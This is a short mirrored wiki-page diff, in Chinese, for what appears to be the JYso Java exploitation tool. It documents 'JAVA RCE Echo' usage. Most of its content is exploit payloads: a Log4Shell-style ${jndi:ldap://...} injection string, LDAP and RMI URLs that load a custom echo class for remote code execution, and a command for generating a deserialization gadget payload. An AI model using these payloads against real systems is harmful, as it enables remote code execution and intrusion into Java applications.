mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 23:31:52 +08:00
Updated 4、JAVA RCE Echo (markdown)
+8
-7
@@ -3,17 +3,18 @@
|
||||
原回显类模块已被删除,可通过别的工具生成class文件,或者自定义自己的回显类来调用
|
||||
|
||||
# 使用说明
|
||||
|
||||
```
|
||||
${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class}
|
||||
```
|
||||
|
||||
+ ysoserial
|
||||
LF- 后面指定class的绝对路径或相对路径即可
|
||||
|
||||
```
|
||||
java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class"
|
||||
ldap://127.0.0.1:1389/ELProcessor/M-LF-Echo.class
|
||||
```
|
||||
|
||||
```
|
||||
rmi://127.0.0.1:1099/basic/M-LF-Echo.class
|
||||
```
|
||||
|
||||
+ ysoserial
|
||||
|
||||
```
|
||||
java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class"
|
||||
```
|
||||
Reference in New Issue
Block a user